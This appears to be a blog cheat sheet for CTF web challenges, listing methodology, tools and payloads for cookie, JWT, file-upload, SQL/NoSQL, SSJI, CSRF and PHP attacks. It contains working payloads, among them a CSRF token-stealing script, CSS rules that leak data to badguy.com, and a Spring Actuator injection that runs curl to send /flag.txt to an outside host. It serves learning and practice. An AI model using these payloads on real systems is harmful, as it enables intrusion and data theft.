Home Web
Post
Cancel

Web

Methodology

  1. Description and hints/try to determine topic
  2. Source code/Path manipulation
  3. Input locations (HTTP headers, cookies, files, input fields, server logs)
  4. Server, application, and extension fingerprinting
  5. Scanners
  6. OWASP Testing Guide

Scripts

Tools

Practice

PHP testing

  1. Place files in /var/www/html
  2. service apache2 start
  3. service mysql start

General hosting

  • Other “fiddle” websites
  1. python3 -m http.server [port]

Links

Topics

Source code

  • Client-side code view-source: and anything provided
  • wget -r -l 0 <url> grep -r \<\!-- .
  • dirb [url] [wordlist]
    • /usr/share/dirb/wordlists/
    • checks for things like robots.txt/.git
    • also check filename~/filename2/filename.bak/filename?source/filename?debug

Path manipulation

1
2
3
4
5
6
7
8
# Dirb 2.0
import requests
lines = open("/usr/share/dirb/wordlists/common.txt").readlines()
for line in lines:
	url = "" + line.strip()
	r = requests.get(url, params={"":""}, cookies={"":""})
	if r.status_code != 404:
		print(url, r.status_code)

Git Endpoint

Cookies

  • Cookies can be specified with one cookie header, or multiple, also allow cookie:;;=cookie=value;

Custom cookies

  • This usually indicates that the problem has something to do with cookies
  • Check typical base64, base32, base65536, hex, caesar, etc.
  • Bit flipping, burp intruder will do this
  • Crytpo attacks

PHPSEESSID

  • Cryptographically secure
  • Stored on server
  • If you have access to server you can use this cookie, otherwise it’s probably not the problem
  • PHP name of session file is sess_[contents of cookie]

Flask cookies

JWT

  • pyjwt
  • print(jwt.decode(token, verify=False))
  • {"typ":"JWT","alg":"none"} -> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0

HTTP

Headers

  • Try to spoof source IP
    • X-Forwarded-For and similar
    • localtest.me/127.0.0.1/10./172.16./192.168./::0 or domains that point to localhost
    • Sometimes you have to pick a particular country
  • Try to spoof browser
    • User-Agent

Methods

  • GET/POST/OPTIONS/HEAD/PUT/DELETE/TRACE/CONNECT

Frames

  • Go from frame to parent window.parent
  • Reach other frames window.parent.frames[0].window.document.body

Websockets

  • Allow servers to send messages without a client request
  • ws:// or wss://
  • Cross-Site WebSocket Hijacking (CSWH)

File Upload

  • DON’T forget to check if re-uploading files with the same name actually changes what happens (even if the challenge says it deletes your uploads periodically… smh)
  • Best case scenario: no file restrictions, able to execute file as code
    • .php, .jsp, etc
  • PayloadsAllTheThings
  • Check for XXE if the server is parsing XML-based files
  • Some servers accept file upload via PUT requests
  • Another resource
  • Race conditions
    • The file may be uploaded (temporarily) somewhere you can access it while it is being validated

Shells

Filters/Bypasses

  • Content-Type header validation for filetype checking, client-controlled
  • File extension validation
    • Double extensions: .php.jpg, .php;.jpg, .php%00.jpg
    • Alternative extensions: .php5
    • Variations: .pHp, .php.
    • More ideas in link in main section
  • File content validation
    • Fake file header/footer around shell
    • Other metadata

Testing

  • curl -F 'data=@path/file' [ip]
1
2
3
4
5
6
# simplest form
files = {'upload_file': open('file.txt','rb')}
# chosen filename and content type headers
files = {'upload_file': ('foobar.txt', open('file.txt','rb'), 'text/x-spam')}
# can also map additional headers
r = requests.post(url, files=files)

File Inclusion

Look for any inputs with filenames

LFI

RFI

  • See file upload section

XSS

DOMPurify

CSRF/XSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script>
var get_url = "";
var get_xhr = new XMLHttpRequest();
get_xhr.onreadystatechange = function() {
    if (get_xhr.readyState == XMLHttpRequest.DONE) {
        var resp = get_xhr.response;
        var xsrf_token = resp.getElementsByName("xsrf_token")[0].value;
		// alert(xsrf_token);
        post_token(xsrf_token);
    }
}
get_xhr.open("GET", get_url, true);
get_xhr.responseType = "document";
get_xhr.send(null);

function post_token(xsrf_token){
	post_url = "";
    var post_xhr = new XMLHttpRequest();
    post_xhr.open("POST", post_url, true);
    payload = "param1=test&submit=Submit&xsrf_token=" + xsrf_token;
    post_xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    post_xhr.setRequestHeader("Content-length", payload.length);
    post_xhr.setRequestHeader("Connection", "close");
    post_xhr.onreadystatechange = function(){}
    post_xhr.send(payload);
}
</script>

XXE

SSRF

Injections

  • $IFS can replace a space

Command

  • sleep 5
  • A lot of times you won’t see the output, so try to nc out
1
; \` ' " $ !

SQL

1
2
3
4
5
6
7
8
9
10
11
union, sleep, blind, etc
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username || '~' || password FROM users-- (oracle single column concatenation)

since SQLite 3.16.0 
alice" union select (select group_concat(name) FROM pragma_table_info('users')),username from users--

SQLite get columns
PRAGMA table_info(table_name);
  • Filters
  • Filter Evasion
  • Trailing Spaces
  • Capitalized letters work with lowercase in LIKE but not =
  • Add extra spaces
  • Null bytes
  • URL encoding
  • Hex encoding: name=61646D696E-- or name=UNHEX('61646D696E')--
  • Char encoding: name=CHAR(97,100,109,105,110)--
  • MySQL/Oracle: CONCAT('SEL', 'ECT') * FROM Users WHERE id=1
  • MS SQL/Oracle: 'SEL' + 'ECT' * FROM Users WHERE id=1
  • Postgre: 'SEL' || 'ECT' * FROM Users WHERE id=1
  • Comments: SELECT/**/*/**/FROM/**/Users/**/WHERE/**/name/**/=/**/'admin'--

GraphQL

NoSQL

MongoDB

  • book.hacktricks.xyz
  • Insert JavaScript functions
  • JSON: /{}
  • Trigger syntax error: '"\;{}
  • Logic: '1'=='1';//
  • Comments: //
  • Operators: $where $gt $lt $ne $in $ni $regex $exists
  • Commands: db.getCollectionNames()
  • ex. param1[$ne]=whatever&param2[$regex]=.*
  • ex. '||'1'=='1

Template/SSTI

Server-Side JavaScript Injection (SSJI)

  • Can our input in req reach an eval() for example
  • Look for eval(), setTimeout("", ...), and setInterval("", ...)
  • Ex. 1+1, process.cwd(), res.end(require('fs').readdirSync('.').toString())
  • Jsgen.py

CSS

  • a[href^=flag\?token\=1]{background: url(//badguy.com?c=1);}
  • a[href^=flag\?token\=1f]{background: url(//badguy.com?c=1);}

LDAP

Java

Servers

Apache

.htaccess

NGINX

IIS

web.config

Server-Side

  • Metasploit
  • searchsploit

PHP

  • How parameter parsing works
  • arg[]=str converts arg to array
  • 0e type juggling/md5 and other hashes
  • intval(0x1) = 0 but 1 == 0x1
  • Newline regex check bypass
  • \_\_FILE\_\_ is the current filename
  • str_replace("../","") only runs once so ....// = ../
  • error_reporting(E_ALL); may display helpful messages
  • %00, SPACE, _ into .
  • Several PHP functions to learn about server, user permissions, get data from HTTP headers or parameters
  • PHP jail and UAF Writeup
  • PHP filters are the next thing to check
  • Even if there isn’t a session cookie created, you can make one to create a session file, but must use multipart MIME: Writeup
  • Remote file inclusion is off by default, but if it is on everywhere where files can be included can start with http:// for example
  • You can inject PHP code into a lot of cool places, (error log, mail log, request log, cookies, environment variables, etc)
  • Object injection occurs when you have improperly validated input passed to the unserialize() function
  • Object injection or serialization
  • You can modify anything in the object that has a “this->” atleast that’s how I think this works
  • public vs. private vs. protected attributes
  • echo serialize($obj); echo "\nbase64_encoded:\n\n"; echo urlencode(base64_encode(serialize($obj)));
  • PHPGGC is a library of unserialize payloads
  • Sometimes // instead of / in a path messes with filters
  • If they use $_SERVER["PHP_SELF"] you can use “/” to include XSS possibly /example.php/<script> - More details
  • .env files can be used for loading variables
  • Vuln PHP Functions (found online but can’t remember where)
  • If you get eval()
    • foreach (get_defined_functions()["internal"] as $fn){print($fn . "</br>\n");}
    • phpinfo();
    • highlight_file();
  • Bypass disable_functions
  • Bypass filter_var
  • Do stuff without numbers/letters 1 2 3 4

Flask

  • Cheatsheet
  • Look for template injection
  • Common files like config.py
  • Common folders like /templates and /static

NodeJS

  • Prototype pollution
  • Prepared queries are still vulnerable to SQL injection
  • EJS is vulnerable to template injection
  • Parameter pollution
1
2
3
4
5
This snippet means that arrays and objects can be passed in the request body:
app.use(bodyParser.urlencoded({extended: true}))

username[]=a&username[]=b is interpreted as username = ['a', 'b']
Similarly, username[hello]=a is interpreted as username = {hello: 'a'}

Ruby

Spring

Actuator

1
2
3
4
Content-Type: application/json
{
"name":"spring.datasource.hikari.connection-test-query", "value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl -d @/flag.txt https://postb.in/1635604279079-2183686529751');"
}

Client-Side

  • Chrome also has a nice built-in debugger
    • You can add a debugger; statement in JavaScript to get it to pop up

JavaScript

WASM

Crypto

Oracles

  • See Cryptography page for attacks

Hash Length Extension Attacks

Burp Sequencer

  • Sending a request/response to the Sequencer and collecting a lot of data can identify certain bits in tokens that have low entropy

Burp Intruder

  • ECB block shuffling/CBC bit-flipping

Random Stuff

  • IDOR/Mass Assignment
  • OAuth
  • shellql
  • Integer overflow/underflow
  • Side-Channel Attacks
  • Same Origin Policy and CORS to relax SOP, if you see CORS headers and can get victim to visit your site, you can have them fetch pages from a vulnerable website for you: PortSwigger CORS
This post is licensed under CC BY 4.0 by the author.